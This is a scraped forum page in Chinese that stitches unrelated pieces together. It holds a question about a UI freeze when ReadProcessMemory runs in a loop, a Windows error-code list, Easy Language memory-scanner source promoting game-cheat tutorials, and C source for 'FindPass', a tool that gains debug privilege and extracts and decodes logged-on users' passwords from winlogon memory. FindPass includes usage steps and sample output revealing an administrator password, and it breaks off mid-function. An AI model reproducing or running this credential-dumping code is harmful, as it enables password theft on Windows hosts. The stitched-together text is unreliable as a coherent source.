在循环中使用 ReadProcessMemory 的问题

(-: LYSM :-) 2019-03-11 10:12:38
如题,我再dll里 使用while(1) 来循环读取某个地址的值,代码如下:(这段代码写在while循环里)



我通过一个按钮事件来调用它(mfc 的 dll , 你懂,有窗体的)


但是当我点击按钮的时候,我的dll窗口就卡死了。

不过代码是有效的,当符合下面的if语句时,会床工弹出“已完成任务”


但是现在的问题是,怎么才能不让我的窗口卡死呢。。。毕竟我还有其他的按钮要点。。。 期初怀疑要用到多线程,可后来试了一下没有效果。
...全文
108 1 打赏 收藏 转发到动态 举报
写回复
用AI写文章
1 条回复
切换为时间正序
请发表友善的回复…
发表回复
(-: LYSM :-) 2019-03-12
  • 打赏
  • 举报
回复
有人吗
Microsoft Windows 系统错误代码简单分析:   0000 操作已成功完成。   0001 错误的函数。   0002 系统找不到指定的文件。   0003 系统找不到指定的路径。   0004 系统无法打开文件。   0005 拒绝访问。   0006 句柄无效。   0007 存储区控制块已损坏。   0008 可用的存储区不足, 无法执行该命令。   0009 存储区控制块地址无效。   0010 环境错误。   0011 试图使用不正确的格式加载程序。   0012 访问代码无效。   0013 数据无效。   0014 可用的存储区不足,无法完成该操作。   0015 系统找不到指定的驱动器。   0016 无法删除该目录。   0017 系统无法将文件移到其他磁盘驱动器上。   0018 没有其他文件。   0019 媒体写保护。   0020 系统找不到指定的设备。   0021 设备尚未准备好。   0022 设备无法识别该命令。   0023 数据错误(循环冗余检查)。   0024 程序发出命令,但是该命令的长度错误。   0025 驱动器在磁盘上无法定位指定的区域或磁道。   0026 无法访问指定的磁盘或软盘。   0027 驱动器找不到所请求的扇区。   0028 打印机缺纸。   0029 系统无法写入指定的设备。   0030 系统无法读取指定的设备。   0031 与系统连接的设备不能正常运转。   0032 其他进程正使用该文件,因此现在无法访问。   0033 另一进程已锁定该文件的某一部分,因此现在无法访问。   0034 驱动器的软盘不正确。请将 %2 (卷标序列号: %3)插入驱动器 %1。   0036 打开共享的文件太多。   0038 已到达文件结尾。   0039 磁盘已满。   0050 不支持此网络请求。   0051 远程计算机无法使用。   0052 网络存在重名。   0053 找不到网络路径。   0054 网络正忙。   0055 指定的网络资源或设备已不可用。   0056 已经达到网络命令的极限。   0057 网络适配器出现错误。   0058 指定的服务器无法执行所请求的操作。   0059 网络出现意外错误。   0060 远程适配器不兼容。   0061 打印机队列已满。   0062 服务器上没有存储等待打印的文件的空间。   0063 已经删除等候打印的文件。   0064 指定的网络名无法使用。   0065 拒绝访问网络。   0066 网络资源类型错误。   0067 找不到网络名。   0068 已超过本地计算机网络适配器卡的名称极限。   0069 已超过网络 BIOS 会话的极限。   0070 远程服务器已经暂停或者正在启动过程。   0071 由于该计算机的连接数目已达到上限,此时无法再连接到该远程计算机。   0072 指定的打印机或磁盘设备已经暂停。   0080 该文件存在。   0082 无法创建该目录或文件。   0083 INT 24 失败。   0084 处理该请求的存储区不可用。   0085 正在使用该本地设备名。   0086 指定的网络密码不正确。   0087 参数错误。   0088 网络出现写入错误。   0089 此时系统无法启动其他进程。 0100 无法创建其他系统标志。   0101 属于其他进程的专用标志。   0102 标志已经设置, 无法关闭。   0103 无法再次设置该标志。   0104 断时无法请求专用标志。   0105 此标志先前的所有权已终止。   0106 请将软盘插入驱动器 %1。   0107 后续软盘尚未插入,程序停止。   0108 磁盘正在使用或已由其他进程锁定。   0109 管道已经结束。   0110 系统无法打开指定的设备或文件。   0111 文件名太长。   0112 磁盘空间不足。   0113 没有其他可用的内部文件标识符。   0114 目标内部文件标识符不正确。   0117 该应用程序所运行的 IOCTL 调用
.版本 2 .支持库 iext .程序集 窗口程序集1 .子程序 __启动窗口_创建完毕 内存.提升进程权限 () 内存操作.提升权限 () 提升进程权限D () ' 本源码转载 易酷论坛 http://bbs.e7bai.com 每天给你N多的稳定源码 放出N多易语言教程 制作外挂教程等等 时钟1.时钟周期 = 1000 时钟2.时钟周期 = 1000 .子程序 __启动窗口_将被销毁 CloseHandle (操作句柄) .子程序 _按钮1_被单击 载入 (进程窗口, _启动窗口, 假) ' 本源码转载 易酷论坛 http://bbs.e7bai.com 每天给你N多的稳定源码 放出N多易语言教程 制作外挂教程等等 .子程序 _组合框2_列表项被选择 .如果真 (组合框2.取项目文本 (组合框2.现行选项) = “文本型” 且 组合框1.取项目数 () ≠ 1) 组合框1.清空 () 组合框1.加入项目 (“文本搜索”, ) 组合框1.现行选项 = 0 标签2.标题 = “输入文本:” 选择框1.可视 = 假 返回 () .如果真结束 .如果真 (组合框2.取项目文本 (组合框2.现行选项) = “4字节”) .如果真 (组合框1.取项目数 () ≠ 2) 组合框1.清空 () 组合框1.加入项目 (“精确搜索”, ) 组合框1.加入项目 (“模糊搜索”, ) 组合框1.现行选项 = 0 标签2.标题 = “输入数值:” 选择框1.可视 = 真 .如果真结束 返回 () .如果真结束 .如果真 (组合框2.取项目文本 (组合框2.现行选项) = “浮点数” 或 组合框2.取项目文本 (组合框2.现行选项) = “双精度小数” 或 组合框2.取项目文本 (组合框2.现行选项) = “单字节” 或 组合框2.取项目文本 (组合框2.现行选项) = “双字节” 或 组合框2.取项目文本 (组合框2.现行选项) = “8字节”) 信息框 (“对不起!目前只能搜索【文本型】或【4字节】的数据搜索。”, 0, ) 组合框2.现行选项 = 2 .如果真 (组合框1.取项目数 () ≠ 2) 组合框1.清空 () 组合框1.加入项目 (“精确搜索”, ) 组合框1.加入项目 (“模糊搜索”, ) 组合框1.现行选项 = 0 标签2.标题 = “输入数值:” 选择框1.可视 = 真 .如果真结束 返回 () .如果真结束 .子程序 _按钮2_被单击, , , 开始搜索 按钮 .如果真 (操作句柄 = 0) 信息框 (“请先打开一个进程!”, 0, ) 返回 () .如果真结束 .如果 (按钮2.标题 = “开始搜索”) 开始搜索 () .否则 按钮2.标题 = “开始搜索” 按钮3.禁止 = 真 组合框2.禁止 = 假 超级列表框1.全部删除 () 标签5.标题 = “搜索结果:” .如果结束 返回 () .子程序 开始搜索 .局部变量 搜索内容, 字节集 .局部变量 整数, 整数型 .如果真 (组合框2.取项目文本 (组合框2.现行选项) = “文本型”) ' 搜索文本内容 .如果真 (编辑框1.内容 = “”) 信息框 (“搜索内容不能为空!”, 0, ) 返回 () .如果真结束 搜索内容 = 到字节集 (编辑框1.内容) ' 文本转为字节集 搜索变量 = 搜索内容 搜索 (搜索内容) 按钮3.禁止 = 假 按钮2.标题 = “重新搜索” 组合框2.禁止 = 真 返回 () .如果真结束 .如果真 (组合框2.取项目文本 (组合框2.现行选项) = “4字节”) .如果真 (编辑框1.内容 = “”) 信息框 (“搜索内容不能为空!”, 0, ) 返回 () .如果真结束 .如果 (选择框1.选 = 真) 十六转十 (“0x” + 编辑框1.内容, 1, 整数) .否则 整数 = 到数值 (编辑框1.内容) .如果结束 搜索内容 = 到字节集 (整数) ' 整数转为字节集 搜索变量 = 搜索内容 搜索 (搜索内容) 按钮3.禁止 = 假 按钮2.标题 = “重新搜索” 组合框2.禁止 = 真 ' 信息框 (“本功能未开放!”, 0, ) 返回 () .如果真结束 .子程序 搜索 .参数 搜索内容, 字节集 .局部变量 长度, 整数型 .局部变量 内存块长度, 整数型 .局部变量 内存地址, 整数型 .局部变量 内存块信息, MEMORY_BASIC_INFORMATION .局部变量 数据缓冲区, 字节集 .局部变量 读取结果, 整数型 .局部变量 开始地址, 整数型 .局部变量 计次, 整数型 .局部变量 时间, 整数型 时间 = 取启动时间 () 清除数组 (搜索结果) 长度 = 取字节集长度 (搜索内容) 内存块长度 = 28 .判断循环首 (VirtualQueryEx (操作句柄, 内存地址, 内存块信息, 内存块长度) ≠ 0) .如果真 (内存块信息.Type = #MEM_PRIVATE 且 内存块信息.Protect = #PAGE_READWRITE) 数据缓冲区 = 取空白字节集 (内存块信息.RegionSize) 读取结果 = ReadProcessMemory (操作句柄, 内存地址, 数据缓冲区, 内存块信息.RegionSize, 0) .判断循环首 (读取结果 > 0) 开始地址 = 寻找字节集 (数据缓冲区, 搜索内容, 开始地址) ' 查找是否有要搜索的数据 .如果 (开始地址 = -1) 跳出循环 () .否则 加入成员 (搜索结果, 到数值 (内存地址 + 开始地址 - 1)) .如果结束 开始地址 = 开始地址 + 长度 .判断循环尾 () .如果真结束 内存地址 = 内存地址 + 内存块信息.RegionSize 进度条1.位置 = 内存地址 ÷ 2147483647 × 100 处理事件 () .判断循环尾 () 进度条1.位置 = 0 超级列表框1.全部删除 () .如果真 (取数组成员数 (搜索结果) < 300) .如果 (列表框1地址状态 = 真) ' 10进制为真 16进制为假 .计次循环首 (取数组成员数 (搜索结果), 计次) 超级列表框1.插入表项 (, 到文本 (搜索结果 [计次]), , , , 搜索结果 [计次]) .计次循环尾 () .否则 .计次循环首 (取数组成员数 (搜索结果), 计次) 超级列表框1.插入表项 (, 取十六进制文本 (搜索结果 [计次]), , , , 搜索结果 [计次]) .计次循环尾 () .如果结束 .如果真结束 标签5.标题 = “搜索结果:” + 到文本 (取数组成员数 (搜索结果)) 标签6.标题 = “运行时间:” + 到文本 (取启动时间 () - 时间) + “毫秒” 返回 () ' 本源码转载 易酷论坛 http://bbs.e7bai.com 每天给你N多的稳定源码 放出N多易语言教程 制作外挂教程等等 .子程序 _按钮5_被单击 超级列表框1.全部删除 () .子程序 _时钟1_周期事件 .局部变量 计次, 整数型 .局部变量 临时, 字节集 .局部变量 整数, 整数型 .如果真 (组合框2.取项目文本 (组合框2.现行选项) = “文本型”) 计次 = 0 .计次循环首 (超级列表框1.取表项数 (), 计次) 临时 = 取空白字节集 (取字节集长度 (到字节集 (搜索变量))) ReadProcessMemory (操作句柄, 超级列表框1.取表项数值 (计次 - 1), 临时, 取字节集长度 (到字节集 (搜索变量)), 0) .如果真 (超级列表框1.取标题 (计次 - 1, 1) ≠ 到文本 (临时)) 超级列表框1.置标题 (计次 - 1, 1, 到文本 (临时)) .如果真结束 .计次循环尾 () 返回 () .如果真结束 .如果真 (组合框2.取项目文本 (组合框2.现行选项) = “4字节”) 计次 = 0 .计次循环首 (超级列表框1.取表项数 (), 计次) 读内存整数 (操作句柄, 超级列表框1.取表项数值 (计次 - 1), 整数, 4, 0) .如果真 (超级列表框1.取标题 (计次 - 1, 1) ≠ 到文本 (整数)) 超级列表框1.置标题 (计次 - 1, 1, 到文本 (整数)) .如果真结束 .计次循环尾 () 返回 () .如果真结束 .子程序 _按钮3_被单击, , , 二次搜索按钮 .局部变量 搜索内容, 字节集 .局部变量 整数, 整数型 .如果真 (组合框2.取项目文本 (组合框2.现行选项) = “文本型”) ' 搜索文本内容 .如果真 (编辑框1.内容 = “”) 信息框 (“搜索内容不能为空!”, 0, ) 返回 () .如果真结束 搜索内容 = 到字节集 (编辑框1.内容) ' 文本转为字节集 搜索变量 = 搜索内容 二次搜索 (搜索内容) ' 按钮3.禁止 = 假 ' 按钮2.标题 = “重新搜索” ' 组合框2.禁止 = 真 返回 () .如果真结束 .如果真 (组合框2.取项目文本 (组合框2.现行选项) = “4字节”) .如果真 (编辑框1.内容 = “”) 信息框 (“搜索内容不能为空!”, 0, ) 返回 () .如果真结束 .如果 (选择框1.选 = 真) 十六转十 (“0x” + 编辑框1.内容, 1, 整数) .否则 整数 = 到数值 (编辑框1.内容) .如果结束 搜索内容 = 到字节集 (整数) ' 整数转为字节集 输出调试文本 (到文本 (取字节集长度 (搜索内容))) 搜索变量 = 搜索内容 二次搜索 (搜索内容) ' 按钮3.禁止 = 假 ' 按钮2.标题 = “重新搜索” ' 组合框2.禁止 = 真 ' 信息框 (“本功能未开放!”, 0, ) 返回 () .如果真结束 .子程序 二次搜索 .参数 搜索内容, 字节集 .局部变量 计次, 整数型 .局部变量 临时字节集, 字节集 清除数组 (二次搜索结果) .计次循环首 (取数组成员数 (搜索结果), 计次) 临时字节集 = 取空白字节集 (取字节集长度 (搜索内容)) ReadProcessMemory (操作句柄, 搜索结果 [计次], 临时字节集, 取字节集长度 (搜索内容), 0) .如果真 (临时字节集 = 搜索内容) 加入成员 (二次搜索结果, 搜索结果 [计次]) .如果真结束 进度条1.位置 = 计次 ÷ 取数组成员数 (搜索结果) × 100 ' 处理事件 () .计次循环尾 () 进度条1.位置 = 0 计次 = 0 超级列表框1.全部删除 () .如果真 (取数组成员数 (二次搜索结果) < 300) .如果 (列表框1地址状态 = 真) ' 10进制为真 16进制为假 .计次循环首 (取数组成员数 (二次搜索结果), 计次) 超级列表框1.插入表项 (, 到文本 (二次搜索结果 [计次]), , , , 二次搜索结果 [计次]) .计次循环尾 () .否则 .计次循环首 (取数组成员数 (二次搜索结果), 计次) 超级列表框1.插入表项 (, 取十六进制文本 (二次搜索结果 [计次]), , , , 二次搜索结果 [计次]) .计次循环尾 () .如果结束 .如果真结束 搜索结果 = 二次搜索结果 标签5.标题 = “搜索结果:” + 到文本 (取数组成员数 (二次搜索结果)) 返回 () .子程序 _超级列表框1_表头被单击 .参数 被单击列索引, 整数型 .局部变量 计次, 整数型 .如果真 (被单击列索引 = 0)' 本源码转载 易酷论坛 http://bbs.e7bai.com 每天给你N多的稳定源码 放出N多易语言教程 制作外挂教程等等 .如果真 (超级列表框1.取列标题 (0) = “地址(10进制)”) 计次 = 0 .计次循环首 (超级列表框1.取表项数 (), 计次) 超级列表框1.置标题 (计次 - 1, 0, 取十六进制文本 (超级列表框1.取表项数值 (计次 - 1))) .计次循环尾 () 超级列表框1.置列标题 (0, “地址(16进制)”) 列表框1地址状态 = 假 ' 10进制为真 16进制为假 返回 () .如果真结束 .如果真 (超级列表框1.取列标题 (0) = “地址(16进制)”) 计次 = 0 .计次循环首 (超级列表框1.取表项数 (), 计次) 超级列表框1.置标题 (计次 - 1, 0, 到文本 (超级列表框1.取表项数值 (计次 - 1))) .计次循环尾 () 超级列表框1.置列标题 (0, “地址(10进制)”) 列表框1地址状态 = 真 ' 10进制为真 16进制为假 返回 () .如果真结束 .如果真结束 返回 () .子程序 _选择框1_被单击 .局部变量 a, 长整数型 .如果 (选择框1.选 = 真) 编辑框1.内容 = 取十六进制文本 (到数值 (编辑框1.内容)) .否则 十六转十 (“0x” + 编辑框1.内容, 1, a) 编辑框1.内容 = 到文本 (a) .如果结束 返回 () .子程序 _时钟2_周期事件 .局部变量 计次, 整数型 .局部变量 整数, 整数型 .局部变量 字节集, 字节集 .如果真 (超级列表框2地址 = 0) 返回 () .如果真结束 .计次循环首 (14, 计次) 读内存整数 (操作句柄, 超级列表框2地址 + (计次 - 1) × 4, 整数, 4, 0) 字节集 = 取空白字节集 (20) ReadProcessMemory (操作句柄, 超级列表框2地址 + (计次 - 1) × 4, 字节集, 20, 0) .如果真 (超级列表框2.取标题 (计次 - 1, 2) ≠ 到文本 (整数)) 超级列表框2.置标题 (计次 - 1, 2, 到文本 (整数)) .如果真结束 .如果真 (超级列表框2.取标题 (计次 - 1, 3) ≠ 到文本 (字节集)) 超级列表框2.置标题 (计次 - 1, 3, 到文本 (字节集)) .如果真结束 .计次循环尾 () 返回 () .子程序 _超级列表框1_表项被激活 .局部变量 计次, 整数型 超级列表框2地址 = 超级列表框1.取表项数值 (超级列表框1.现行选项) 超级列表框2.全部删除 () .计次循环首 (14, 计次) 超级列表框2.插入表项 (, 到文本 ((计次 - 1) × 4), , , , ) 超级列表框2.置标题 (计次 - 1, 1, 到文本 (超级列表框2地址 + (计次 - 1) × 4)) .计次循环尾 () _时钟2_周期事件 () 返回 ()
// Find Password from winlogon in win2000 / winnt4 + < sp6 // // PasswordReminder.cpp --> FindPass.cpp // 1. http://www.smidgeonsoft.com/ // 2. shotgun add comment, bingle change a little to find other user in winlogon // This code is licensed under the terms of the GPL (gnu public license). // // Usage: FindPass DomainName UserName PID-of-WinLogon // // you can get the three params from pulist output in target system. // /* 因为登陆的域名和用户名是明文存储在winlogon进程里的,而PasswordReminder是限定了查找本进程用户的密码 <167-174: GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400); >,然后到winlogon进程的空间查找UserDomain和UserName < 590:// 在WinLogon的内存空间寻找UserName和DomainName的字符串 if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0) && (wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) > ,找到后就查后边的加密口令。 其实只要你自己指定用户名和winlogon进程去查找就行了,只要你是管理员,任何本机用msgina.dll图形登陆的用户口令都可以找到。 1. pulist,找到系统里登陆的域名和用户名,及winlogon进程id 2. 然后给每个winlogon进程id查找指定的用户就行了。 example: C:\Documents and Settings\bingle>pulist Process PID User Idle 0 System 8 smss.exe 164 NT AUTHORITY\SYSTEM csrss.exe 192 NT AUTHORITY\SYSTEM winlogon.exe 188 NT AUTHORITY\SYSTEM wins.exe 1212 NT AUTHORITY\SYSTEM Explorer.exe 388 TEST-2KSERVER\Administrator internat.exe 1828 TEST-2KSERVER\Administrator conime.exe 1868 TEST-2KSERVER\Administrator msiexec.exe 1904 NT AUTHORITY\SYSTEM tlntsvr.exe 1048 NT AUTHORITY\SYSTEM taskmgr.exe 1752 TEST-2KSERVER\Administrator csrss.exe 2056 NT AUTHORITY\SYSTEM winlogon.exe 2416 NT AUTHORITY\SYSTEM rdpclip.exe 2448 TEST-2KSERVER\clovea Explorer.exe 2408 TEST-2KSERVER\clovea internat.exe 1480 TEST-2KSERVER\clovea cmd.exe 2508 TEST-2KSERVER\Administrator ntshell.exe 368 TEST-2KSERVER\Administrator ntshell.exe 1548 TEST-2KSERVER\Administrator ntshell.exe 1504 TEST-2KSERVER\Administrator csrss.exe 1088 NT AUTHORITY\SYSTEM winlogon.exe 1876 NT AUTHORITY\SYSTEM rdpclip.exe 1680 TEST-2KSERVER\bingle Explorer.exe 2244 TEST-2KSERVER\bingle conime.exe 2288 TEST-2KSERVER\bingle internat.exe 1592 TEST-2KSERVER\bingle cmd.exe 1692 TEST-2KSERVER\bingle mdm.exe 2476 TEST-2KSERVER\bingle taskmgr.exe 752 TEST-2KSERVER\bingle pulist.exe 2532 TEST-2KSERVER\bingle C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER administrator 188 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 188 (0x000000bc). To find TEST-2KSERVER\administrator password in process 188 ... The encoded password is found at 0x008e0800 and has a length of 10. The logon information is: TEST-2KSERVER/administrator/testserver. The hash byte is: 0x13. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER clovea 1876 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 1876 (0x00000754). To find TEST-2KSERVER\clovea password in process 1876 ... PasswordReminder is unable to find the password in memory. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER bingle 1876 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 1876 (0x00000754). To find TEST-2KSERVER\bingle password in process 1876 ... The logon information is: TEST-2KSERVER/bingle. There is no password. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER clovea 2416 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 2416 (0x00000970). To find TEST-2KSERVER\clovea password in process 2416 ... The logon information is: TEST-2KSERVER/clovea. There is no password. C:\Documents and Settings\bingle> */ #include #include #include #include #include typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; // Undocumented typedef's typedef struct _QUERY_SYSTEM_INFORMATION { DWORD GrantedAccess; DWORD PID; WORD HandleType; WORD HandleId; DWORD Handle; } QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION; typedef struct _PROCESS_INFO_HEADER { DWORD Count; DWORD Unk04; DWORD Unk08; } PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER; typedef struct _PROCESS_INFO { DWORD LoadAddress; DWORD Size; DWORD Unk08; DWORD Enumerator; DWORD Unk10; char Name [0x108]; } PROCESS_INFO, *PPROCESS_INFO; typedef struct _ENCODED_PASSWORD_INFO { DWORD HashByte; DWORD Unk04; DWORD Unk08; DWORD Unk0C; FILETIME LoggedOn; DWORD Unk18; DWORD Unk1C; DWORD Unk20; DWORD Unk24; DWORD Unk28; UNICODE_STRING EncodedPassword; } ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO; typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD); typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD); typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID); typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID); typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING); // Private Prototypes BOOL IsWinNT (void); BOOL IsWin2K (void); BOOL AddDebugPrivilege (void); DWORD FindWinLogon (void); BOOL LocatePasswordPageWinNT (DWORD, PDWORD); BOOL LocatePasswordPageWin2K (DWORD, PDWORD); void DisplayPasswordWinNT (void); void DisplayPasswordWin2K (void); // Global Variables PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation; PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer; PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation; PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer; PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString; DWORD PasswordLength = 0; PVOID RealPasswordP = NULL; PVOID PasswordP = NULL; DWORD HashByte = 0; wchar_t UserName [0x400]; wchar_t UserDomain [0x400]; int __cdecl main( int argc, char* argv[] ) { printf( "\n\t To Find Password in the Winlogon process\n" ); printf( " Usage: %s DomainName UserName PID-of-WinLogon\n\n", argv[0] ); if ((!IsWinNT ()) && (!IsWin2K ())) { printf ("Windows NT or Windows 2000 are required.\n"); return (0); } // Add debug privilege to PasswordReminder - // this is needed for the search for Winlogon. // 增加PasswordReminder的权限 // 使得PasswordReminder可以打开并调试Winlogon进程 if (!AddDebugPrivilege ()) { printf ("Unable to add debug privilege.\n"); return (0); } printf ("The debug privilege has been added to PasswordReminder.\n"); // 获得几个未公开API的入口地址 HINSTANCE hNtDll = LoadLibrary ("NTDLL.DLL"); pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress (hNtDll, "NtQuerySystemInformation"); pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlCreateQueryDebugBuffer"); pfnRtlQueryProcessDebugInformation = (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress (hNtDll, "RtlQueryProcessDebugInformation"); pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlDestroyQueryDebugBuffer"); pfnRtlRunDecodeUnicodeString = (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress (hNtDll, "RtlRunDecodeUnicodeString"); // Locate WinLogon's PID - need debug privilege and admin rights. // 获得Winlogon进程的PID // 这里作者使用了几个Native API,其实使用PSAPI一样可以 DWORD WinLogonPID = argc > 3 ? atoi( argv[3] ) : FindWinLogon () ; if (WinLogonPID == 0) { printf ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n"); printf ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (hNtDll); return (0); } printf("The WinLogon process id is %d (0x%8.8lx).\n", WinLogonPID, WinLogonPID); // Set values to check memory block against. // 初始化几个和用户账号相关的变量 memset(UserName, 0, sizeof (UserName)); memset(UserDomain, 0, sizeof (UserDomain)); if( argc > 2 ) { mbstowcs( UserName, argv[2], sizeof(UserName)/sizeof(*UserName) ); mbstowcs( UserDomain, argv[1], sizeof(UserDomain)/sizeof(*UserDomain) ); }else { GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400); } printf( " To find %S\\%S password in process %d ...\n", UserDomain, UserName, WinLogonPID ); // Locate the block of memory containing // the password in WinLogon's memory space. // 在Winlogon进程定位包含Password的内存块 BOOL FoundPasswordPage = FALSE; if (IsWin2K ()) FoundPasswordPage = LocatePasswordPageWin2K (WinLogonPID, &PasswordLength); else FoundPasswordPage = LocatePasswordPageWinNT (WinLogonPID, &PasswordLength); if (FoundPasswordPage) { if (PasswordLength == 0) { printf ("The logon information is: %S/%S.\n", UserDomain, UserName); printf ("There is no password.\n"); } else { printf ("The encoded password is found at 0x%8.8lx and has a length of %d.\n", RealPasswordP, PasswordLength); // Decode the password string. if (IsWin2K ()) DisplayPasswordWin2K (); else DisplayPasswordWinNT (); } } else printf ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (hNtDll); return (0); } // main // // IsWinNT函数用来判断操作系统是否WINNT // BOOL IsWinNT (void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT); else return (FALSE); } // IsWinNT // // IsWin2K函数用来判断操作系统是否Win2K // BOOL IsWin2K (void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) && (OSVersionInfo.dwMajorVersion == 5)); else return (FALSE); } // IsWin2K // // AddDebugPrivilege函数用来申请调试Winlogon进程的特权 // BOOL AddDebugPrivilege (void) { HANDLE Token; TOKEN_PRIVILEGES TokenPrivileges, PreviousState; DWORD ReturnLength = 0; if (OpenProcessToken (GetCurrentProcess (), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token)) if (LookupPrivilegeValue (NULL, "SeDebugPrivilege", &TokenPrivileges.Privileges[0].Luid)) { TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; return (AdjustTokenPrivileges (Token, FALSE, &TokenPrivileges, sizeof (TOKEN_PRIVILEGES), &PreviousState, &ReturnLength)); } return (FALSE); } // AddDebugPrivilege // // Note that the following code eliminates the need // for PSAPI.DLL as part of the executable. // FindWinLogon函数用来寻找WinLogon进程 // 由于作者使用的是Native API,因此不需要PSAPI的支持 // DWORD FindWinLogon (void) { #define INITIAL_ALLOCATION 0x100 DWORD rc = 0; DWORD SizeNeeded = 0; PVOID InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, INITIAL_ALLOCATION); // Find how much memory is required. pfnNtQuerySystemInformation (0x10, InfoP, INITIAL_ALLOCATION, &SizeNeeded); HeapFree (GetProcessHeap (), 0, InfoP); // Now, allocate the proper amount of memory. InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SizeNeeded); DWORD SizeWritten = SizeNeeded; if (pfnNtQuerySystemInformation (0x10, InfoP, SizeNeeded, &SizeWritten)) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION); if (NumHandles == 0) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } PQUERY_SYSTEM_INFORMATION QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) InfoP; DWORD i; for (i = 1; i <= NumHandles; i++) { // "5" is the value of a kernel object type process. if (QuerySystemInformationP->HandleType == 5) { PVOID DebugBufferP = pfnRtlCreateQueryDebugBuffer (0, 0); if (pfnRtlQueryProcessDebugInformation (QuerySystemInformationP->PID, 1, DebugBufferP) == 0) { PPROCESS_INFO_HEADER ProcessInfoHeaderP = (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60); DWORD Count = ProcessInfoHeaderP->Count; PPROCESS_INFO ProcessInfoP = (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER)); if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0) { DWORD i; DWORD dw = (DWORD) ProcessInfoP; for (i = 0; i < Count; i++) { dw += sizeof (PROCESS_INFO); ProcessInfoP = (PPROCESS_INFO) dw; if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0) return (0); if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0) rc = QuerySystemInformationP->PID; } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); HeapFree (GetProcessHeap (), 0, InfoP); return (rc); } } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); } DWORD dw = (DWORD) QuerySystemInformationP; dw += sizeof (QUERY_SYSTEM_INFORMATION); QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw; } HeapFree (GetProcessHeap (), 0, InfoP); return (rc); } // FindWinLogon // // LocatePasswordPageWinNT函数用来在NT找到用户密码 // BOOL LocatePasswordPageWinNT (DWORD WinLogonPID, PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WINNT 0x200 #define USER_PASSWORD_OFFSET_WINNT 0x400 BOOL rc = FALSE; HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (rc); *PasswordLength = 0; SYSTEM_INFO 